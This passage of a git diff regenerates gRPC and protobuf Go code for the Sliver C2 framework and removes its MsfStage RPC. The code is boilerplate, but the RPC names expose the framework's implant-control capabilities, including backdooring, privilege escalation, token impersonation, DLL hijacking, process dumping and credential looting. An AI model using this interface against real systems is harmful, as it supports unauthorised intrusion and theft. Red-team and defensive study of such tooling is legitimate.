+ 231, // 354: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
+ 127, // 355: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
+ 0, // 356: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
+ 128, // 357: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
+ 129, // 358: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
+ 0, // 359: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
+ 130, // 360: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
+ 30, // 361: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
+ 181, // [181:362] is the sub-list for method output_type
+ 0, // [0:181] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
diff --git a/protobuf/rpcpb/services.proto b/protobuf/rpcpb/services.proto
index 682cd70170..66ffde0058 100644
--- a/protobuf/rpcpb/services.proto
+++ b/protobuf/rpcpb/services.proto
@@ -136,7 +136,6 @@ service SliverRPC {
rpc DeleteImplantProfile(clientpb.DeleteReq) returns (commonpb.Empty);
rpc SaveImplantProfile(clientpb.ImplantProfile)
returns (clientpb.ImplantProfile);
- rpc MsfStage(clientpb.MsfStagerReq) returns (clientpb.MsfStager);
rpc ShellcodeRDI(clientpb.ShellcodeRDIReq) returns (clientpb.ShellcodeRDI);
rpc GetCompiler(commonpb.Empty) returns (clientpb.Compiler);
rpc ShellcodeEncoder(clientpb.ShellcodeEncodeReq)
diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go
index 40a3757cb3..1b805530f6 100644
--- a/protobuf/rpcpb/services_grpc.pb.go
+++ b/protobuf/rpcpb/services_grpc.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
-// - protoc-gen-go-grpc v1.3.0
-// - protoc v5.26.1
+// - protoc-gen-go-grpc v1.2.0
+// - protoc v4.25.3
// source: rpcpb/services.proto
package rpcpb
@@ -21,191 +21,6 @@ import (
// Requires gRPC-Go v1.32.0 or later.
const _ = grpc.SupportPackageIsVersion7
-const (
- SliverRPC_GetVersion_FullMethodName = "/rpcpb.SliverRPC/GetVersion"
- SliverRPC_ClientLog_FullMethodName = "/rpcpb.SliverRPC/ClientLog"
- SliverRPC_GetOperators_FullMethodName = "/rpcpb.SliverRPC/GetOperators"
- SliverRPC_Kill_FullMethodName = "/rpcpb.SliverRPC/Kill"
- SliverRPC_Reconfigure_FullMethodName = "/rpcpb.SliverRPC/Reconfigure"
- SliverRPC_Rename_FullMethodName = "/rpcpb.SliverRPC/Rename"
- SliverRPC_GetSessions_FullMethodName = "/rpcpb.SliverRPC/GetSessions"
- SliverRPC_MonitorStart_FullMethodName = "/rpcpb.SliverRPC/MonitorStart"
- SliverRPC_MonitorStop_FullMethodName = "/rpcpb.SliverRPC/MonitorStop"
- SliverRPC_MonitorListConfig_FullMethodName = "/rpcpb.SliverRPC/MonitorListConfig"
- SliverRPC_MonitorAddConfig_FullMethodName = "/rpcpb.SliverRPC/MonitorAddConfig"
- SliverRPC_MonitorDelConfig_FullMethodName = "/rpcpb.SliverRPC/MonitorDelConfig"
- SliverRPC_StartMTLSListener_FullMethodName = "/rpcpb.SliverRPC/StartMTLSListener"
- SliverRPC_StartWGListener_FullMethodName = "/rpcpb.SliverRPC/StartWGListener"
- SliverRPC_StartDNSListener_FullMethodName = "/rpcpb.SliverRPC/StartDNSListener"
- SliverRPC_StartHTTPSListener_FullMethodName = "/rpcpb.SliverRPC/StartHTTPSListener"
- SliverRPC_StartHTTPListener_FullMethodName = "/rpcpb.SliverRPC/StartHTTPListener"
- SliverRPC_GetBeacons_FullMethodName = "/rpcpb.SliverRPC/GetBeacons"
- SliverRPC_GetBeacon_FullMethodName = "/rpcpb.SliverRPC/GetBeacon"
- SliverRPC_RmBeacon_FullMethodName = "/rpcpb.SliverRPC/RmBeacon"
- SliverRPC_GetBeaconTasks_FullMethodName = "/rpcpb.SliverRPC/GetBeaconTasks"
- SliverRPC_GetBeaconTaskContent_FullMethodName = "/rpcpb.SliverRPC/GetBeaconTaskContent"
- SliverRPC_CancelBeaconTask_FullMethodName = "/rpcpb.SliverRPC/CancelBeaconTask"
- SliverRPC_UpdateBeaconIntegrityInformation_FullMethodName = "/rpcpb.SliverRPC/UpdateBeaconIntegrityInformation"
- SliverRPC_GetJobs_FullMethodName = "/rpcpb.SliverRPC/GetJobs"
- SliverRPC_KillJob_FullMethodName = "/rpcpb.SliverRPC/KillJob"
- SliverRPC_RestartJobs_FullMethodName = "/rpcpb.SliverRPC/RestartJobs"
- SliverRPC_StartTCPStagerListener_FullMethodName = "/rpcpb.SliverRPC/StartTCPStagerListener"
- SliverRPC_LootAdd_FullMethodName = "/rpcpb.SliverRPC/LootAdd"
- SliverRPC_LootRm_FullMethodName = "/rpcpb.SliverRPC/LootRm"
- SliverRPC_LootUpdate_FullMethodName = "/rpcpb.SliverRPC/LootUpdate"
- SliverRPC_LootContent_FullMethodName = "/rpcpb.SliverRPC/LootContent"
- SliverRPC_LootAll_FullMethodName = "/rpcpb.SliverRPC/LootAll"
- SliverRPC_Creds_FullMethodName = "/rpcpb.SliverRPC/Creds"
- SliverRPC_CredsAdd_FullMethodName = "/rpcpb.SliverRPC/CredsAdd"
- SliverRPC_CredsRm_FullMethodName = "/rpcpb.SliverRPC/CredsRm"
- SliverRPC_CredsUpdate_FullMethodName = "/rpcpb.SliverRPC/CredsUpdate"
- SliverRPC_GetCredByID_FullMethodName = "/rpcpb.SliverRPC/GetCredByID"
- SliverRPC_GetCredsByHashType_FullMethodName = "/rpcpb.SliverRPC/GetCredsByHashType"
- SliverRPC_GetPlaintextCredsByHashType_FullMethodName = "/rpcpb.SliverRPC/GetPlaintextCredsByHashType"
- SliverRPC_CredsSniffHashType_FullMethodName = "/rpcpb.SliverRPC/CredsSniffHashType"
- SliverRPC_Hosts_FullMethodName = "/rpcpb.SliverRPC/Hosts"
- SliverRPC_Host_FullMethodName = "/rpcpb.SliverRPC/Host"
- SliverRPC_HostRm_FullMethodName = "/rpcpb.SliverRPC/HostRm"
- SliverRPC_HostIOCRm_FullMethodName = "/rpcpb.SliverRPC/HostIOCRm"
- SliverRPC_Generate_FullMethodName = "/rpcpb.SliverRPC/Generate"
- SliverRPC_GenerateExternal_FullMethodName = "/rpcpb.SliverRPC/GenerateExternal"
- SliverRPC_GenerateExternalSaveBuild_FullMethodName = "/rpcpb.SliverRPC/GenerateExternalSaveBuild"
- SliverRPC_GenerateExternalGetBuildConfig_FullMethodName = "/rpcpb.SliverRPC/GenerateExternalGetBuildConfig"
- SliverRPC_GenerateStage_FullMethodName = "/rpcpb.SliverRPC/GenerateStage"
- SliverRPC_StageImplantBuild_FullMethodName = "/rpcpb.SliverRPC/StageImplantBuild"
- SliverRPC_GetHTTPC2Profiles_FullMethodName = "/rpcpb.SliverRPC/GetHTTPC2Profiles"
- SliverRPC_GetHTTPC2ProfileByName_FullMethodName = "/rpcpb.SliverRPC/GetHTTPC2ProfileByName"
- SliverRPC_SaveHTTPC2Profile_FullMethodName = "/rpcpb.SliverRPC/SaveHTTPC2Profile"
- SliverRPC_BuilderRegister_FullMethodName = "/rpcpb.SliverRPC/BuilderRegister"
- SliverRPC_BuilderTrigger_FullMethodName = "/rpcpb.SliverRPC/BuilderTrigger"
- SliverRPC_Builders_FullMethodName = "/rpcpb.SliverRPC/Builders"
- SliverRPC_GetCertificateInfo_FullMethodName = "/rpcpb.SliverRPC/GetCertificateInfo"
- SliverRPC_CrackstationRegister_FullMethodName = "/rpcpb.SliverRPC/CrackstationRegister"
- SliverRPC_CrackstationTrigger_FullMethodName = "/rpcpb.SliverRPC/CrackstationTrigger"
- SliverRPC_CrackstationBenchmark_FullMethodName = "/rpcpb.SliverRPC/CrackstationBenchmark"
- SliverRPC_Crackstations_FullMethodName = "/rpcpb.SliverRPC/Crackstations"
- SliverRPC_CrackTaskByID_FullMethodName = "/rpcpb.SliverRPC/CrackTaskByID"
- SliverRPC_CrackTaskUpdate_FullMethodName = "/rpcpb.SliverRPC/CrackTaskUpdate"
- SliverRPC_CrackFilesList_FullMethodName = "/rpcpb.SliverRPC/CrackFilesList"
- SliverRPC_CrackFileCreate_FullMethodName = "/rpcpb.SliverRPC/CrackFileCreate"
- SliverRPC_CrackFileChunkUpload_FullMethodName = "/rpcpb.SliverRPC/CrackFileChunkUpload"
- SliverRPC_CrackFileChunkDownload_FullMethodName = "/rpcpb.SliverRPC/CrackFileChunkDownload"
- SliverRPC_CrackFileComplete_FullMethodName = "/rpcpb.SliverRPC/CrackFileComplete"
- SliverRPC_CrackFileDelete_FullMethodName = "/rpcpb.SliverRPC/CrackFileDelete"
- SliverRPC_Regenerate_FullMethodName = "/rpcpb.SliverRPC/Regenerate"
- SliverRPC_ImplantBuilds_FullMethodName = "/rpcpb.SliverRPC/ImplantBuilds"
- SliverRPC_DeleteImplantBuild_FullMethodName = "/rpcpb.SliverRPC/DeleteImplantBuild"
- SliverRPC_Canaries_FullMethodName = "/rpcpb.SliverRPC/Canaries"
- SliverRPC_GenerateWGClientConfig_FullMethodName = "/rpcpb.SliverRPC/GenerateWGClientConfig"
- SliverRPC_GenerateUniqueIP_FullMethodName = "/rpcpb.SliverRPC/GenerateUniqueIP"
- SliverRPC_ImplantProfiles_FullMethodName = "/rpcpb.SliverRPC/ImplantProfiles"
- SliverRPC_DeleteImplantProfile_FullMethodName = "/rpcpb.SliverRPC/DeleteImplantProfile"
- SliverRPC_SaveImplantProfile_FullMethodName = "/rpcpb.SliverRPC/SaveImplantProfile"
- SliverRPC_MsfStage_FullMethodName = "/rpcpb.SliverRPC/MsfStage"
- SliverRPC_ShellcodeRDI_FullMethodName = "/rpcpb.SliverRPC/ShellcodeRDI"
- SliverRPC_GetCompiler_FullMethodName = "/rpcpb.SliverRPC/GetCompiler"
- SliverRPC_ShellcodeEncoder_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoder"
- SliverRPC_ShellcodeEncoderMap_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoderMap"
- SliverRPC_TrafficEncoderMap_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderMap"
- SliverRPC_TrafficEncoderAdd_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderAdd"
- SliverRPC_TrafficEncoderRm_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderRm"
- SliverRPC_Websites_FullMethodName = "/rpcpb.SliverRPC/Websites"
- SliverRPC_Website_FullMethodName = "/rpcpb.SliverRPC/Website"
- SliverRPC_WebsiteRemove_FullMethodName = "/rpcpb.SliverRPC/WebsiteRemove"
- SliverRPC_WebsiteAddContent_FullMethodName = "/rpcpb.SliverRPC/WebsiteAddContent"
- SliverRPC_WebsiteUpdateContent_FullMethodName = "/rpcpb.SliverRPC/WebsiteUpdateContent"
- SliverRPC_WebsiteRemoveContent_FullMethodName = "/rpcpb.SliverRPC/WebsiteRemoveContent"
- SliverRPC_Ping_FullMethodName = "/rpcpb.SliverRPC/Ping"
- SliverRPC_Ps_FullMethodName = "/rpcpb.SliverRPC/Ps"
- SliverRPC_Terminate_FullMethodName = "/rpcpb.SliverRPC/Terminate"
- SliverRPC_Ifconfig_FullMethodName = "/rpcpb.SliverRPC/Ifconfig"
- SliverRPC_Netstat_FullMethodName = "/rpcpb.SliverRPC/Netstat"
- SliverRPC_Ls_FullMethodName = "/rpcpb.SliverRPC/Ls"
- SliverRPC_Cd_FullMethodName = "/rpcpb.SliverRPC/Cd"
- SliverRPC_Pwd_FullMethodName = "/rpcpb.SliverRPC/Pwd"
- SliverRPC_Mv_FullMethodName = "/rpcpb.SliverRPC/Mv"
- SliverRPC_Cp_FullMethodName = "/rpcpb.SliverRPC/Cp"
- SliverRPC_Rm_FullMethodName = "/rpcpb.SliverRPC/Rm"
- SliverRPC_Mkdir_FullMethodName = "/rpcpb.SliverRPC/Mkdir"
- SliverRPC_Download_FullMethodName = "/rpcpb.SliverRPC/Download"
- SliverRPC_Upload_FullMethodName = "/rpcpb.SliverRPC/Upload"
- SliverRPC_Grep_FullMethodName = "/rpcpb.SliverRPC/Grep"
- SliverRPC_Chmod_FullMethodName = "/rpcpb.SliverRPC/Chmod"
- SliverRPC_Chown_FullMethodName = "/rpcpb.SliverRPC/Chown"
- SliverRPC_Chtimes_FullMethodName = "/rpcpb.SliverRPC/Chtimes"
- SliverRPC_MemfilesList_FullMethodName = "/rpcpb.SliverRPC/MemfilesList"
- SliverRPC_MemfilesAdd_FullMethodName = "/rpcpb.SliverRPC/MemfilesAdd"
- SliverRPC_MemfilesRm_FullMethodName = "/rpcpb.SliverRPC/MemfilesRm"
- SliverRPC_Mount_FullMethodName = "/rpcpb.SliverRPC/Mount"
- SliverRPC_ProcessDump_FullMethodName = "/rpcpb.SliverRPC/ProcessDump"
- SliverRPC_RunAs_FullMethodName = "/rpcpb.SliverRPC/RunAs"
- SliverRPC_Impersonate_FullMethodName = "/rpcpb.SliverRPC/Impersonate"
- SliverRPC_RevToSelf_FullMethodName = "/rpcpb.SliverRPC/RevToSelf"
- SliverRPC_GetSystem_FullMethodName = "/rpcpb.SliverRPC/GetSystem"
- SliverRPC_Task_FullMethodName = "/rpcpb.SliverRPC/Task"
- SliverRPC_Msf_FullMethodName = "/rpcpb.SliverRPC/Msf"
- SliverRPC_MsfRemote_FullMethodName = "/rpcpb.SliverRPC/MsfRemote"
- SliverRPC_ExecuteAssembly_FullMethodName = "/rpcpb.SliverRPC/ExecuteAssembly"
- SliverRPC_Migrate_FullMethodName = "/rpcpb.SliverRPC/Migrate"
- SliverRPC_Execute_FullMethodName = "/rpcpb.SliverRPC/Execute"
- SliverRPC_ExecuteWindows_FullMethodName = "/rpcpb.SliverRPC/ExecuteWindows"
- SliverRPC_Sideload_FullMethodName = "/rpcpb.SliverRPC/Sideload"
- SliverRPC_SpawnDll_FullMethodName = "/rpcpb.SliverRPC/SpawnDll"
- SliverRPC_Screenshot_FullMethodName = "/rpcpb.SliverRPC/Screenshot"
- SliverRPC_CurrentTokenOwner_FullMethodName = "/rpcpb.SliverRPC/CurrentTokenOwner"
- SliverRPC_Services_FullMethodName = "/rpcpb.SliverRPC/Services"
- SliverRPC_ServiceDetail_FullMethodName = "/rpcpb.SliverRPC/ServiceDetail"
- SliverRPC_StartServiceByName_FullMethodName = "/rpcpb.SliverRPC/StartServiceByName"
- SliverRPC_PivotStartListener_FullMethodName = "/rpcpb.SliverRPC/PivotStartListener"
- SliverRPC_PivotStopListener_FullMethodName = "/rpcpb.SliverRPC/PivotStopListener"
- SliverRPC_PivotSessionListeners_FullMethodName = "/rpcpb.SliverRPC/PivotSessionListeners"
- SliverRPC_PivotGraph_FullMethodName = "/rpcpb.SliverRPC/PivotGraph"
- SliverRPC_StartService_FullMethodName = "/rpcpb.SliverRPC/StartService"
- SliverRPC_StopService_FullMethodName = "/rpcpb.SliverRPC/StopService"
- SliverRPC_RemoveService_FullMethodName = "/rpcpb.SliverRPC/RemoveService"
- SliverRPC_MakeToken_FullMethodName = "/rpcpb.SliverRPC/MakeToken"
- SliverRPC_GetEnv_FullMethodName = "/rpcpb.SliverRPC/GetEnv"
- SliverRPC_SetEnv_FullMethodName = "/rpcpb.SliverRPC/SetEnv"
- SliverRPC_UnsetEnv_FullMethodName = "/rpcpb.SliverRPC/UnsetEnv"
- SliverRPC_Backdoor_FullMethodName = "/rpcpb.SliverRPC/Backdoor"
- SliverRPC_RegistryRead_FullMethodName = "/rpcpb.SliverRPC/RegistryRead"
- SliverRPC_RegistryWrite_FullMethodName = "/rpcpb.SliverRPC/RegistryWrite"
- SliverRPC_RegistryCreateKey_FullMethodName = "/rpcpb.SliverRPC/RegistryCreateKey"
- SliverRPC_RegistryDeleteKey_FullMethodName = "/rpcpb.SliverRPC/RegistryDeleteKey"
- SliverRPC_RegistryListSubKeys_FullMethodName = "/rpcpb.SliverRPC/RegistryListSubKeys"
- SliverRPC_RegistryListValues_FullMethodName = "/rpcpb.SliverRPC/RegistryListValues"
- SliverRPC_RegistryReadHive_FullMethodName = "/rpcpb.SliverRPC/RegistryReadHive"
- SliverRPC_RunSSHCommand_FullMethodName = "/rpcpb.SliverRPC/RunSSHCommand"
- SliverRPC_HijackDLL_FullMethodName = "/rpcpb.SliverRPC/HijackDLL"
- SliverRPC_GetPrivs_FullMethodName = "/rpcpb.SliverRPC/GetPrivs"
- SliverRPC_StartRportFwdListener_FullMethodName = "/rpcpb.SliverRPC/StartRportFwdListener"
- SliverRPC_GetRportFwdListeners_FullMethodName = "/rpcpb.SliverRPC/GetRportFwdListeners"
- SliverRPC_StopRportFwdListener_FullMethodName = "/rpcpb.SliverRPC/StopRportFwdListener"
- SliverRPC_OpenSession_FullMethodName = "/rpcpb.SliverRPC/OpenSession"
- SliverRPC_CloseSession_FullMethodName = "/rpcpb.SliverRPC/CloseSession"
- SliverRPC_RegisterExtension_FullMethodName = "/rpcpb.SliverRPC/RegisterExtension"
- SliverRPC_CallExtension_FullMethodName = "/rpcpb.SliverRPC/CallExtension"
- SliverRPC_ListExtensions_FullMethodName = "/rpcpb.SliverRPC/ListExtensions"
- SliverRPC_RegisterWasmExtension_FullMethodName = "/rpcpb.SliverRPC/RegisterWasmExtension"
- SliverRPC_ListWasmExtensions_FullMethodName = "/rpcpb.SliverRPC/ListWasmExtensions"
- SliverRPC_ExecWasmExtension_FullMethodName = "/rpcpb.SliverRPC/ExecWasmExtension"
- SliverRPC_WGStartPortForward_FullMethodName = "/rpcpb.SliverRPC/WGStartPortForward"
- SliverRPC_WGStopPortForward_FullMethodName = "/rpcpb.SliverRPC/WGStopPortForward"
- SliverRPC_WGStartSocks_FullMethodName = "/rpcpb.SliverRPC/WGStartSocks"
- SliverRPC_WGStopSocks_FullMethodName = "/rpcpb.SliverRPC/WGStopSocks"
- SliverRPC_WGListForwarders_FullMethodName = "/rpcpb.SliverRPC/WGListForwarders"
- SliverRPC_WGListSocksServers_FullMethodName = "/rpcpb.SliverRPC/WGListSocksServers"
- SliverRPC_Shell_FullMethodName = "/rpcpb.SliverRPC/Shell"
- SliverRPC_Portfwd_FullMethodName = "/rpcpb.SliverRPC/Portfwd"
- SliverRPC_CreateSocks_FullMethodName = "/rpcpb.SliverRPC/CreateSocks"
- SliverRPC_CloseSocks_FullMethodName = "/rpcpb.SliverRPC/CloseSocks"
- SliverRPC_SocksProxy_FullMethodName = "/rpcpb.SliverRPC/SocksProxy"
- SliverRPC_CreateTunnel_FullMethodName = "/rpcpb.SliverRPC/CreateTunnel"
- SliverRPC_CloseTunnel_FullMethodName = "/rpcpb.SliverRPC/CloseTunnel"
- SliverRPC_TunnelData_FullMethodName = "/rpcpb.SliverRPC/TunnelData"
- SliverRPC_Events_FullMethodName = "/rpcpb.SliverRPC/Events"
-)
-
// SliverRPCClient is the client API for SliverRPC service.
//
// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream.
@@ -308,7 +123,6 @@ type SliverRPCClient interface {
ImplantProfiles(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ImplantProfiles, error)
DeleteImplantProfile(ctx context.Context, in *clientpb.DeleteReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
SaveImplantProfile(ctx context.Context, in *clientpb.ImplantProfile, opts ...grpc.CallOption) (*clientpb.ImplantProfile, error)
- MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error)
ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error)
GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error)
ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error)
@@ -434,7 +248,7 @@ func NewSliverRPCClient(cc grpc.ClientConnInterface) SliverRPCClient {
func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Version, error) {
out := new(clientpb.Version)
- err := c.cc.Invoke(ctx, SliverRPC_GetVersion_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetVersion", in, out, opts...)
if err != nil {
return nil, err
}
@@ -442,7 +256,7 @@ func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, op
}
func (c *sliverRPCClient) ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], SliverRPC_ClientLog_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], "/rpcpb.SliverRPC/ClientLog", opts...)
if err != nil {
return nil, err
}
@@ -477,7 +291,7 @@ func (x *sliverRPCClientLogClient) CloseAndRecv() (*commonpb.Empty, error) {
func (c *sliverRPCClient) GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) {
out := new(clientpb.Operators)
- err := c.cc.Invoke(ctx, SliverRPC_GetOperators_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetOperators", in, out, opts...)
if err != nil {
return nil, err
}
@@ -486,7 +300,7 @@ func (c *sliverRPCClient) GetOperators(ctx context.Context, in *commonpb.Empty,
func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_Kill_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Kill", in, out, opts...)
if err != nil {
return nil, err
}
@@ -495,7 +309,7 @@ func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts .
func (c *sliverRPCClient) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) {
out := new(sliverpb.Reconfigure)
- err := c.cc.Invoke(ctx, SliverRPC_Reconfigure_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Reconfigure", in, out, opts...)
if err != nil {
return nil, err
}
@@ -504,7 +318,7 @@ func (c *sliverRPCClient) Reconfigure(ctx context.Context, in *sliverpb.Reconfig
func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_Rename_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rename", in, out, opts...)
if err != nil {
return nil, err
}
@@ -513,7 +327,7 @@ func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, op
func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) {
out := new(clientpb.Sessions)
- err := c.cc.Invoke(ctx, SliverRPC_GetSessions_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSessions", in, out, opts...)
if err != nil {
return nil, err
}
@@ -522,7 +336,7 @@ func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, o
func (c *sliverRPCClient) MonitorStart(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Response, error) {
out := new(commonpb.Response)
- err := c.cc.Invoke(ctx, SliverRPC_MonitorStart_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorStart", in, out, opts...)
if err != nil {
return nil, err
}
@@ -531,7 +345,7 @@ func (c *sliverRPCClient) MonitorStart(ctx context.Context, in *commonpb.Empty,
func (c *sliverRPCClient) MonitorStop(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_MonitorStop_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorStop", in, out, opts...)
if err != nil {
return nil, err
}
@@ -540,7 +354,7 @@ func (c *sliverRPCClient) MonitorStop(ctx context.Context, in *commonpb.Empty, o
func (c *sliverRPCClient) MonitorListConfig(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MonitoringProviders, error) {
out := new(clientpb.MonitoringProviders)
- err := c.cc.Invoke(ctx, SliverRPC_MonitorListConfig_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorListConfig", in, out, opts...)
if err != nil {
return nil, err
}
@@ -549,7 +363,7 @@ func (c *sliverRPCClient) MonitorListConfig(ctx context.Context, in *commonpb.Em
func (c *sliverRPCClient) MonitorAddConfig(ctx context.Context, in *clientpb.MonitoringProvider, opts ...grpc.CallOption) (*commonpb.Response, error) {
out := new(commonpb.Response)
- err := c.cc.Invoke(ctx, SliverRPC_MonitorAddConfig_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorAddConfig", in, out, opts...)
if err != nil {
return nil, err
}
@@ -558,7 +372,7 @@ func (c *sliverRPCClient) MonitorAddConfig(ctx context.Context, in *clientpb.Mon
func (c *sliverRPCClient) MonitorDelConfig(ctx context.Context, in *clientpb.MonitoringProvider, opts ...grpc.CallOption) (*commonpb.Response, error) {
out := new(commonpb.Response)
- err := c.cc.Invoke(ctx, SliverRPC_MonitorDelConfig_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorDelConfig", in, out, opts...)
if err != nil {
return nil, err
}
@@ -567,7 +381,7 @@ func (c *sliverRPCClient) MonitorDelConfig(ctx context.Context, in *clientpb.Mon
func (c *sliverRPCClient) StartMTLSListener(ctx context.Context, in *clientpb.MTLSListenerReq, opts ...grpc.CallOption) (*clientpb.ListenerJob, error) {
out := new(clientpb.ListenerJob)
- err := c.cc.Invoke(ctx, SliverRPC_StartMTLSListener_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartMTLSListener", in, out, opts...)
if err != nil {
return nil, err
}
@@ -576,7 +390,7 @@ func (c *sliverRPCClient) StartMTLSListener(ctx context.Context, in *clientpb.MT
func (c *sliverRPCClient) StartWGListener(ctx context.Context, in *clientpb.WGListenerReq, opts ...grpc.CallOption) (*clientpb.ListenerJob, error) {
out := new(clientpb.ListenerJob)
- err := c.cc.Invoke(ctx, SliverRPC_StartWGListener_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartWGListener", in, out, opts...)
if err != nil {
return nil, err
}
@@ -585,7 +399,7 @@ func (c *sliverRPCClient) StartWGListener(ctx context.Context, in *clientpb.WGLi
func (c *sliverRPCClient) StartDNSListener(ctx context.Context, in *clientpb.DNSListenerReq, opts ...grpc.CallOption) (*clientpb.ListenerJob, error) {
out := new(clientpb.ListenerJob)
- err := c.cc.Invoke(ctx, SliverRPC_StartDNSListener_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartDNSListener", in, out, opts...)
if err != nil {
return nil, err
}
@@ -594,7 +408,7 @@ func (c *sliverRPCClient) StartDNSListener(ctx context.Context, in *clientpb.DNS
func (c *sliverRPCClient) StartHTTPSListener(ctx context.Context, in *clientpb.HTTPListenerReq, opts ...grpc.CallOption) (*clientpb.ListenerJob, error) {
out := new(clientpb.ListenerJob)
- err := c.cc.Invoke(ctx, SliverRPC_StartHTTPSListener_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartHTTPSListener", in, out, opts...)
if err != nil {
return nil, err
}
@@ -603,7 +417,7 @@ func (c *sliverRPCClient) StartHTTPSListener(ctx context.Context, in *clientpb.H
func (c *sliverRPCClient) StartHTTPListener(ctx context.Context, in *clientpb.HTTPListenerReq, opts ...grpc.CallOption) (*clientpb.ListenerJob, error) {
out := new(clientpb.ListenerJob)
- err := c.cc.Invoke(ctx, SliverRPC_StartHTTPListener_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartHTTPListener", in, out, opts...)
if err != nil {
return nil, err
}
@@ -612,7 +426,7 @@ func (c *sliverRPCClient) StartHTTPListener(ctx context.Context, in *clientpb.HT
func (c *sliverRPCClient) GetBeacons(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Beacons, error) {
out := new(clientpb.Beacons)
- err := c.cc.Invoke(ctx, SliverRPC_GetBeacons_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeacons", in, out, opts...)
if err != nil {
return nil, err
}
@@ -621,7 +435,7 @@ func (c *sliverRPCClient) GetBeacons(ctx context.Context, in *commonpb.Empty, op
func (c *sliverRPCClient) GetBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.Beacon, error) {
out := new(clientpb.Beacon)
- err := c.cc.Invoke(ctx, SliverRPC_GetBeacon_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeacon", in, out, opts...)
